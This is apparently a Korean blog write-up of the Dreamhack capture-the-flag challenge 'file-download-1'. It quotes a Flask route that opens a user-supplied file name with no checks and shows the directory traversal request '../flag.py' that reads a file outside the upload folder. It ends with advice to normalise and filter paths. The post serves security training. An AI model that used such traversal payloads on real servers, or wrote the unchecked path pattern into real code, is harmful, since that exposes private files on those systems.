IT/정보보안

[Dreamhack] file-download-1 문제 풀이

읽어보고서 2025. 5. 1. 01:34
반응형

 

 

 

💻 "드림핵의 퍼즐들은 나의 손끝에서 해체된다..."
"디지털 전장에 소환된 나는, 이제 문제를 사냥할 뿐이다."

 

 

🎯 file-download-1 문제 시작해보자!

 

 


문제 설명

File Download 취약점이 존재하는 웹 서비스입니다.
flag.py를 다운로드 받으면 플래그를 획득할 수 있습니다.

 


 

 

📁 인터페이스 확인

 

/upload로 이동하면 메모를 저장할 수 있는 UI가 존재함

 


업로드된 파일 목록은 / 경로에 표시됨

 


파일을 클릭하면 해당 내용을 확인 가능함 (/read?name=파일명)

 

 

 

🔍 app.py 코드 분석

 

 

@app.route('/read')
def read_memo():
    filename = request.args.get('name', '')
    with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
        data = f.read()

 

✅ 여기가 핵심

name 파라미터를 검증 없이 open()에 사용

즉, 경로를 조작하면 상위 디렉토리의 파일도 열 수 있음!

 

📛 디렉토리 트래버설 (Directory Traversal) 취약점 발생!

 

 

💥 공격 시나리오

 

1️⃣ 정상 접근 시

GET /read?name=123
→ uploads/123 열림

 

2️⃣ 공격 시도

GET /read?name=flag.py
→ uploads/flag.py 열려고 시도 → 없음!

 

 

3️⃣ 디렉토리 상위 접근 시도

GET /read?name=../flag.py

 

 

💥 성공적으로 상위 경로의 flag.py에 접근 완료!

 

 

경로를 조작해 상위 디렉토리 파일을 열 수 있다는 점에서 전형적인 Directory Traversal 취약점 사례였고,

서버 코드에서 사용자 입력을 직접 경로로 사용할 땐 반드시 정규화 & 필터링이 필요하다!

 

 

반응형